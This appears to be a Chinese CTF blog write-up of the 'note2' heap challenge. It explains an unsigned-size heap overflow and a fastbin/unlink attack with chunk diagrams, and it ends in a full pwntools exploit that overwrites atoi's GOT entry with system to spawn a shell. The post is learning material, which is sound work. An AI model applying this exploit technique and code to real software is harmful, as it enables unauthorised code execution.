这一题是接触的第五个堆,已经打好腹稿了,但是突然不想写了。。明天再更新
今天好欢乐鸭!(一个冷酷的靓仔小声bb。。)
0x00 题目分析
查看程序保护机制以及分析源码
功能有:
- 添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。
- 展示 note 内容。
- 编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
- 释放 note。
1.分析程序发现在edit处有栈溢出,但是由于有canary所以没法直接get shell但是可以控制free的指针(delete)
2.参考了ctf wiki上的wp知道,程序会记录note的size,从而控制读取note的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,转化为无符号数就是最大的正数FFFFFFFF,可以实现堆溢出
3.根据glibc内存管理行为,程序申请内存之后,系统会分配至少0x20大小的虚拟内存,用来存储pre_size,size,fd,bk。
4.根据fastbin的机制(0x20-0x80),当free的chunk再此范围内,会先放入fastbin,不改变P,当再次申请内存时,如果大小再fsatbin的范围内,会优先分配这块内存,这样我们就有逻辑上两个挨着的chunk了,可以实现栈溢出
0x01 思路
构建三个chunk,分别是chunk0.(0x80)chunk1(0),chunk2(0x80),free( chunk1),然后new一个chunk3(0),这时候chunk3的地址实际是chunk1的地址,向chunk3填充数据可溢出到chunk2.这时候free(chunk2)就可一使chunk3向后合并,实现unlink(chunk3),从而控制chunk的指针
还有一点老阿姨的碎碎念:
1.为什么chunk0和chunk2一定要0x80大小,试验了其他长度总是失败
2.为什么payload1长度是0x61,前面说过有0x20预留给pre_size等
这个可以参考fastbin的机制,一般的chunk都是双向链表,但是fastbin是单向链表,所以chunk的结构是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 分配: *-------------------------------* | pre_size | size | *-------------------------------* | | | | | | *-------------------------------* 空闲: *-------------------------------* | pre_size | size | *-------------------------------* | fd | | *---------------* | | | | | *-------------------------------*
|
并且!!!已分配的chunk里的数据是从fd开始填充的
3.为什么payload2这样子鸭鸭鸭想不通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| *-------------------------------* | pre_size | size | chunk1 *-------------------------------* | 0 | 0x61 | 这里在chunk1中伪造了两个chunk, *-------------------------------* 为的是unlink的时候绕过检验 | fd | bk | | a*0x40 | *-------------------------------* | 0x60 | | *-------------------------------*
*-------------------------------* | pre_size | size | chunk1 溢出到chunk2 *-------------------------------* | aaaaaaaa | | aaaaaaaa | | *-------------------------------* *-------------------------------* | 0xa0 | 0x90 | chunk2 *-------------------------------* | | | | | | *-------------------------------*
|
0x10 exp exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import *
# context.log_level = 'debug' p = process('./note2') elf = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size,content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)\n') p.sendline(str(size)) p.recvuntil('content:\n') p.sendline(content) def show(idx): p.recvuntil('option--->>') p.sendline('2') p.recvuntil('note:') p.sendline(str(idx)) def edit(idx, choice, content): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('note:\n') p.sendline(str(idx)) p.recvuntil('[1.overwrite/2.append]\n') p.sendline(str(choice)) p.recvuntil('TheNewContents:') p.sendline(content) def delete(idx): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('note:\n') p.sendline(str(idx))
p.recvuntil('name:\n') p.sendline('1111') p.recvuntil('address:\n') p.sendline('2222')
head = 0x0000000000602120 fd = head - 0x18 bk = head - 0x10
payload1 = p64(0)+p64(0x61)+p64(fd)+p64(bk)+'a'*64+p64(0x60) new(0x80, payload1) new(0, '') new(0x80, '')
delete(1)
payload2 = 'b'*16+p64(0xa0)+p64(0x90) new(0, payload2)
#unlink delete(2)
# get atoi_addr atoi_got = elf.got['atoi'] payload3 = 'c'*0x18+p64(atoi_got) edit(0, 1, payload3) show(0)
#get libc_base p.recvuntil('is ') atoi_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00')) print hex(atoi_addr) # atoi_addr = u64(atoi_addr.ljust(8, '\x00')) libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system'] print 'system_addr: ',hex(system_addr) payload4 = p64(system_addr) edit(0, 1, payload4)
p.sendline('/bin/sh')
p.interactive()
|